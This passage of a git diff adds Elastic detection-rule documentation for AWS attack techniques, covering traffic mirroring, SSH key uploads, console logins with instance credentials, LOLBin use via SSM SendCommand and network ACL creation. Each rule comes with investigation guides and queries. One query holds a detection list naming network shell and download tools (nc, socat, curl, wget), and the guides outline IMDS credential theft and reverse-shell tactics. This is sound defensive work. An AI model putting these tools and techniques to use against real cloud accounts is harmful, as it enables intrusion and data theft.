management**: `DeleteTrafficMirrorSession` shortly after creation (test/probe), or repeated creations to different targets. +- **Discovery/positioning**: `DescribeNetworkInterfaces`, `DescribeInstances`, `DescribeVpcs/Subnets/RouteTables` around the same time. +- **Cross-account indicators**: creation of targets that forward to infrastructure not owned by your account (e.g., NLB in shared services). +- **Other suspicious changes**: IAM permission changes, new access keys, or S3/SNS setup that could support exfil/ops. + +**Validate the mirror destination and potential data exposure** +- If the target is an ENI: identify the owning instance/application; confirm it is an approved NDR/packet capture host. +- If the target is an NLB target: determine where the NLB sends traffic (could be a collection point in another VPC or account). +- Assess whether mirrored flows include plaintext protocols (internal HTTP, databases, LDAP, etc.) increasing sensitivity. + + +*False positive analysis* + + +- **Authorized monitoring**: Approved NDR/IDS tooling or troubleshooting playbooks may legitimately create sessions. +- **Ops/diagnostics**: Short-lived sessions during incident handling or performance analysis. +- **Automation**: Infrastructure pipelines that stand up temporary mirroring for validation. + + +*Response and remediation* + + +**Contain** +- If unauthorized, terminate the session immediately (use the `TrafficMirrorSessionId` from `aws.cloudtrail.response_elements`) + and block creation permissions for the offending principal. +- Quarantine or restrict egress from the target if you suspect it is forwarding captured traffic outside approved destinations. + +**Investigate** +- Enumerate all active sessions in the affected account/region; verify there aren’t additional rogue sessions. +- Review related target and filter resources (and recent `Modify*` calls) to understand captured scope and recipients. +- Trace the source ENI back to the EC2 instance and validate whether sensitive workloads were mirrored. + +**Recover & harden** +- Remove or lock down unapproved targets/filters; enforce least privilege on `ec2:CreateTrafficMirrorSession/Target/Filter`. +- Consider SCPs or IAM conditions limiting who/where sessions can be created (e.g., only into designated monitoring VPCs). +- Ensure monitoring targets are controlled, logged, and not internet-reachable. + +**Improve** +- Add correlation logic to automatically surface CreateTrafficMirrorSession alongside Create/Modify Target/Filter calls by the same actor. +- Require tags on approved mirroring resources; alert on untagged/unticketed creations. +- Update playbooks to include a standard validation checklist (principal, source ENI, target, filter rules, destination path). + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: "CreateTrafficMirrorSession" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc new file mode 100644 index 0000000000..5727426df6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-aws-ec2-instance-connect-ssh-public-key-uploaded]] +=== AWS EC2 Instance Connect SSH Public Key Uploaded + +Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques +* https://medium.parttimepolymath.net/aws-ec2-instance-connect-a-very-neat-trick-4d2fc0c28010 +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.lateral-movement.ec2-instance-connect/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc +* https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html +* https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSerialConsoleSSHPublicKey.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 Instance Connect SSH Public Key Uploaded* + + +This rule detects when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. Adversaries may upload SSH public keys to EC2 instances to maintain access to the instance or for initial access. This action also occurs automatically in the background when establishing a connection to an instance via the same service. The rule covers cases where the `SendSerialConsoleSSHPublicKey` API action is used to upload an SSH public key to a serial connection, which can be exploited for privilege escalation. + + +*Possible Investigation Steps:* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who performed the action. Verify if this actor typically performs such actions and if they have the necessary permissions. +- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific details of the SSH public key upload. Look for any unusual parameters that could suggest unauthorized or malicious modifications. Determine the targeted EC2 instance. +- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. +- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the SSH public key was uploaded. Changes during non-business hours or outside regular maintenance windows might require further scrutiny. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this action to see if the same actor or IP address engaged in other potentially suspicious activities. +- **Check for Serial Console Access**: If the `SendSerialConsoleSSHPublicKey` action was used, verify if the `ec2:EnableSerialConsoleAccess` permission was also used, which might indicate an attempt to enable and exploit the serial console. + + +*False Positive Analysis:* + + +- **Legitimate Administrative Actions**: Confirm if the SSH public key upload aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems. +- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm. + + + +*Response and Remediation:* + + +- **Immediate Review and Reversal if Necessary**: If the upload was unauthorized, remove the uploaded SSH public key from the EC2 instance and review the instance's access logs for any suspicious activity. +- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive instances or unusual file extensions. +- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning SSH key management and the risks of unauthorized key uploads. +- **Audit EC2 Instance Policies and Permissions**: Conduct a comprehensive audit of all EC2 instance policies and associated permissions to ensure they adhere to the principle of least privilege. +- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. + + +*Additional Information:* + + +For further guidance on managing EC2 instances and securing AWS environments, refer to the https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html[AWS EC2 Instance Connect documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on SSH key management and privilege escalation techniques: +- https://stratus-red-team.cloud/attack-techniques/AWS/aws.lateral-movement.ec2-instance-connect/[Stratus Red Team - AWS EC2 Instance Connect] +- https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc[HackTricks - AWS EC2 Privilege Escalation] +- https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html[AWS EC2 Instance Connect API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: ec2-instance-connect.amazonaws.com + and event.action: (SendSSHPublicKey or SendSerialConsoleSSHPublicKey) + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-instance-console-login-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-instance-console-login-via-assumed-role.asciidoc new file mode 100644 index 0000000000..8e29ef0647 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-instance-console-login-via-assumed-role.asciidoc @@ -0,0 +1,222 @@ +[[prebuilt-rule-8-19-21-aws-ec2-instance-console-login-via-assumed-role]] +=== AWS EC2 Instance Console Login via Assumed Role + +Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://redcanary.com/blog/aws-sts/ +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Data Source: AWS STS +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Lateral Movement +* Tactic: Credential Access +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Instance Console Login via Assumed Role* + + +This rule detects successful AWS console or federation logins using temporary credentials tied to EC2 instance profiles. Under normal conditions, EC2 instances use their temporary credentials for programmatic API access — **not** for interactive console sessions. When an attacker gains access to an instance’s IMDS (Instance Metadata Service) or its environment variables, they may retrieve temporary STS credentials and attempt console logins to gain full access to the AWS account. A successful login of this type is rare and high-risk, as it strongly suggests credential theft or unauthorized session hijacking. + + +*Possible investigation steps* + + +- **Identify the source and actor** + - Review `aws.cloudtrail.user_identity.arn`, `user.id`, and `user_agent.original` fields to confirm the session originated from an EC2 instance (`:i-` pattern). + - Correlate the instance ID (`i-xxxxxx`) with the specific EC2 instance in your environment to identify its owner, purpose, and running applications. + - Check `source.ip` and `cloud.region` to determine if the login originated from within AWS infrastructure (expected) or an external location (suspicious). + +- **Correlate surrounding activity** + - Pivot in Timeline to view the sequence of events leading up to the login, including: + - STS token retrievals (`GetSessionToken`, `AssumeRole`, `GetCallerIdentity`) + - Calls to the IMDS endpoint or local credential exfiltration attempts from the instance. + - Investigate whether the same role or credentials were used for API actions following the login (e.g., `CreateUser`, `AttachRolePolicy`, or `ListBuckets`). + +- **Assess IAM role exposure** + - Determine which IAM role was associated with the instance at the time of the event and review its attached permissions. + - Evaluate whether the role grants console access or permissions beyond what that workload normally requires. + - Check for any recent changes to that role’s trust policy or attached policies. + +- **Validate authorization** + - Contact the EC2 instance owner or service team to confirm if any legitimate process should be logging in to the console. + - If no legitimate activity can explain the login, treat the credentials as compromised. + + +*False positive analysis* + + +This is very uncommon behavior. +Known legitimate causes include: +- AWS or internal security automation that programmatically initiates console sessions for validation or testing. +- Forensic or incident-response automation that logs in using temporary credentials from a compromised instance. +- Red-team or penetration-testing activity designed to validate IMDS exposure or lateral movement scenarios. + +For any other occurrence, treat the alert as potentially malicious. +Validate through: +- The originating instance’s purpose and owner. +- Known automation patterns in `user_agent.original`. +- The timestamp alignment with planned testing or security validation. + + +*Response and remediation* + + +- **Immediate containment** + - Revoke the temporary credentials for the affected role (`aws sts revoke-session-token` or rotate the role credentials). + - Isolate the associated EC2 instance (e.g., detach it from the VPC or security groups) to prevent further credential misuse. + - Invalidate active console sessions via AWS CLI or the AWS Console. + +- **Investigation and scoping** + - Review CloudTrail logs for all actions associated with the compromised role in the preceding 24 hours. + - Determine if additional roles or instances show similar `ConsoleLogin` patterns. + - Search for network indicators of IMDS exploitation (e.g., requests to `169.254.169.254` from unauthorized binaries or users). + +- **Recovery and hardening** + - Rotate all credentials for affected roles and users. + - Apply IMDSv2 enforcement to prevent credential harvesting from EC2 metadata. + - Implement restrictive IAM policies: deny console access (`iam:PassRole`, `sts:GetFederationToken`) for non-human roles. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "signin.amazonaws.com" + and event.action in ("ConsoleLogin", "GetSigninToken") + and event.outcome == "success" + and aws.cloudtrail.user_identity.type == "AssumedRole" + and stringContains (user.id, ":i-") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc new file mode 100644 index 0000000000..fa0b7a757b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc @@ -0,0 +1,262 @@ +[[prebuilt-rule-8-19-21-aws-ec2-lolbin-execution-via-ssm-sendcommand]] +=== AWS EC2 LOLBin Execution via SSM SendCommand + +Identifies the execution of Living Off the Land Binaries (LOLBins) or GTFOBins on EC2 instances via AWS Systems Manager (SSM) `SendCommand` API. This detection correlates AWS CloudTrail `SendCommand` events with endpoint process execution by matching SSM command IDs. While AWS redacts command parameters in CloudTrail logs, this correlation technique reveals the actual commands executed on EC2 instances. Adversaries may abuse SSM to execute malicious commands remotely without requiring SSH or RDP access, using legitimate system utilities for data exfiltration, establishing reverse shells, or lateral movement. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mitiga.io/blog/abusing-the-amazon-web-services-ssm-agent-as-a-remote-access-trojan +* https://www.kali.org/tools/pacu/ +* https://www.100daysofredteam.com/p/ghost-in-the-cloud-abusing-aws-ssm +* https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ +* https://gtfobins.github.io/ + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS EC2 +* Data Source: AWS SSM +* Data Source: AWS Systems Manager +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 LOLBin Execution via SSM SendCommand* + + +AWS Systems Manager (SSM) enables remote command execution on EC2 instances without SSH/RDP access. While legitimate for administration, adversaries exploit this by running LOLBins—system utilities abused for malicious purposes like data theft or backdoors. This detection correlates CloudTrail API logs with endpoint telemetry using SSM command IDs, bypassing AWS's parameter redaction to reveal actual executed commands and identify suspicious activity. + +This is an ESQL aggregation-based rule, thus all original event fields and detail may not be present in the alert. It is recommended to pivot into the raw events from both data sources for full context during investigation. + + +*Possible investigation steps* + + +- Review the SSM command ID in the alert to track the full lifecycle of the command from initiation to execution across both CloudTrail and endpoint data +- Examine the CloudTrail user identity, including the ARN and access key ID, to determine who initiated the SSM command and verify if the activity is authorized +- Analyze the command lines of the executed LOLBins to understand what commands were run and assess their intent, looking for indicators of data exfiltration, reverse shells, or reconnaissance +- Check the source IP address and user agent from the CloudTrail event to identify if the request came from an expected location or tool +- Investigate the affected EC2 instances for other suspicious activities or signs of compromise during the same timeframe, including network connections and file modifications +- Review the SSM shell process details to see the full context of what the SSM agent executed and identify the parent-child process relationships +- Correlate the timing between the CloudTrail event and endpoint execution to ensure they occurred within the detection window and represent the same activity +- Check if the same user identity or source IP has executed similar SSM commands on other EC2 instances in your environment + + +*False positive analysis* + + +- Routine administrative scripts that use utilities like curl, wget, or python for legitimate configuration management should be documented and excluded by user identity or source IP +- Automated monitoring tools that execute commands via SSM for health checks or data collection can be filtered by identifying their consistent patterns and access key IDs +- DevOps CI/CD pipelines that deploy or test applications using SSM may trigger alerts; create exceptions based on known automation roles or specific command patterns +- Security scanning tools that legitimately use SSM for vulnerability assessments should be allowlisted by their known IAM roles or source IPs +- Scheduled maintenance tasks using LOLBins for backup, log rotation, or data synchronization can be excluded by command pattern matching or execution timing + + +*Response and remediation* + + +- Immediately isolate the affected EC2 instance from the network to prevent further unauthorized command execution or lateral movement +- Review AWS CloudTrail logs to identify the IAM user, role, or access key associated with the suspicious SSM command and revoke or rotate compromised credentials +- Terminate any unauthorized processes identified on the endpoint that match the LOLBin execution patterns detected in the alert +- Conduct a forensic analysis of the affected EC2 instance to identify any persistence mechanisms, backdoors, or data exfiltration indicators +- Implement stricter IAM policies to limit SSM `SendCommand` permissions to only trusted users and roles, following the principle of least privilege +- Enable multi-factor authentication (MFA) for IAM users with SSM execution privileges to reduce the risk of credential compromise +- Review and update VPC security groups and network ACLs to restrict outbound traffic from EC2 instances to only necessary destinations, preventing data exfiltration +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional AWS resources or accounts have been compromised + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail*, logs-endpoint.events.process-* METADATA _id, _version, _index +| WHERE + // CloudTrail SSM SendCommand with AWS-RunShellScript + ( + data_stream.dataset == "aws.cloudtrail" + AND event.action == "SendCommand" + AND aws.cloudtrail.request_parameters LIKE "*documentName=AWS-RunShellScript*" + ) + // Linux endpoint process events, prefiltered to SSM shell runner OR LOLBins/GTFOBins + OR + ( + data_stream.dataset == "endpoint.events.process" + AND host.os.type == "linux" + AND ( + // SSM shell (_script.sh) runner + process.command_line LIKE "%/document/orchestration/%/awsrunShellScript/%/_script.sh" + // LOLBins / GTFOBins + OR process.name IN ( + "base64", + "curl", + "wget", + "openssl", + "nc", "ncat", "netcat", + "socat", + "python", "python3", + "perl", + "php", + "ruby", + "ssh", + "scp", + "sftp", + "rsync" + ) + ) + ) + +// Endpoint leg: extract SSM command ID from parent command line +| DISSECT process.parent.command_line + "%{}/document/orchestration/%{Esql.process_parent_command_line_ssm_command_id}/%{}" + +// CloudTrail leg: extract SSM command ID from response_elements +| DISSECT aws.cloudtrail.response_elements + "%{}commandId=%{Esql.aws_cloudtrail_response_elements_ssm_command_id},%{}" + +// Coalesce SSM command ID from both data sources +| EVAL Esql.aws_ssm_command_id = COALESCE( + Esql.aws_cloudtrail_response_elements_ssm_command_id, + Esql.process_parent_command_line_ssm_command_id +) +| WHERE Esql.aws_ssm_command_id IS NOT NULL + +// Role flags +| EVAL Esql.is_cloud_event = data_stream.dataset == "aws.cloudtrail" +| EVAL Esql.is_endpoint_event = data_stream.dataset == "endpoint.events.process" + +// Identify the SSM shell processes (the _script.sh runners) +| EVAL Esql.is_ssm_shell_process = + Esql.is_endpoint_event + AND process.command_line LIKE "%/document/orchestration/%/awsrunShellScript/%/_script.sh" + +// LOLBins / GTFOBins on Linux +| EVAL Esql.is_lolbin_process = + Esql.is_endpoint_event AND NOT Esql.is_ssm_shell_process + +// Aggregate per SSM command ID +| STATS + // Core correlation counts & timing + Esql.aws_cloudtrail_event_count = SUM(CASE(Esql.is_cloud_event, 1, 0)), + Esql.endpoint_events_process_lolbin_count = SUM(CASE(Esql.is_lolbin_process, 1, 0)), + Esql.endpoint_events_process_ssm_shell_count = SUM(CASE(Esql.is_ssm_shell_process, 1, 0)), + Esql.aws_cloudtrail_first_event_ts = MIN(CASE(Esql.is_cloud_event, @timestamp, null)), + Esql.endpoint_events_process_first_lolbin_ts = MIN(CASE(Esql.is_lolbin_process, @timestamp, null)), + + // AWS / CloudTrail identity & request context + Esql_priv.aws_cloudtrail_user_identity_arn_values = + VALUES(CASE(Esql.is_cloud_event, aws.cloudtrail.user_identity.arn, null)), + Esql_priv.aws_cloudtrail_user_identity_access_key_id_values = + VALUES(CASE(Esql.is_cloud_event, aws.cloudtrail.user_identity.access_key_id, null)), + Esql_priv.user_name_values = + VALUES(CASE(Esql.is_cloud_event, user.name, null)), + + // AWS environment / request metadata + Esql.cloud_region_values = VALUES(CASE(Esql.is_cloud_event, cloud.region, null)), + Esql.source_ip_values = VALUES(CASE(Esql.is_cloud_event, source.ip, null)), + Esql.user_agent_original_values = + VALUES(CASE(Esql.is_cloud_event, user_agent.original, null)), + + // Endpoint host & user context + Esql.host_name_values = VALUES(CASE(Esql.is_endpoint_event, host.name, null)), + Esql_priv.endpoint_user_name_values = + VALUES(CASE(Esql.is_endpoint_event, user.name, null)), + + // SSM shell processes on endpoint + Esql.process_command_line_ssm_shell_values = + VALUES(CASE(Esql.is_ssm_shell_process, process.command_line, null)), + Esql.process_pid_ssm_shell_values = + VALUES(CASE(Esql.is_ssm_shell_process, process.pid, null)), + + // LOLBin processes on endpoint + Esql.process_name_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.name, null)), + Esql.process_executable_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.executable, null)), + Esql.process_command_line_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.command_line, null)), + Esql.process_pid_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.pid, null)), + Esql.process_parent_command_line_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.parent.command_line, null)), + + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + BY Esql.aws_ssm_command_id + +// Detection condition: SSM SendCommand + AWS-RunShellScript + LOLBin on endpoint +| WHERE Esql.aws_cloudtrail_event_count > 0 + AND Esql.endpoint_events_process_lolbin_count > 0 + AND DATE_DIFF( + "minutes", + Esql.endpoint_events_process_first_lolbin_ts, + Esql.aws_cloudtrail_first_event_ts + ) <= 5 +| SORT Esql.aws_cloudtrail_first_event_ts ASC +| KEEP Esql.*, Esql_priv.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-creation.asciidoc new file mode 100644 index 0000000000..5a15afd83a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-creation.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-creation]] +=== AWS EC2 Network Access Control List Creation + +Identifies the creation of an AWS EC2 network access control list (ACL) or an entry in a network ACL with a specified rule number. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/create-network-acl.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAcl.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/create-network-acl-entry.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAclEntry.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Network Access Control List Creation* + + +AWS EC2 Network ACLs are stateless firewalls for controlling inbound and outbound traffic at the subnet level. 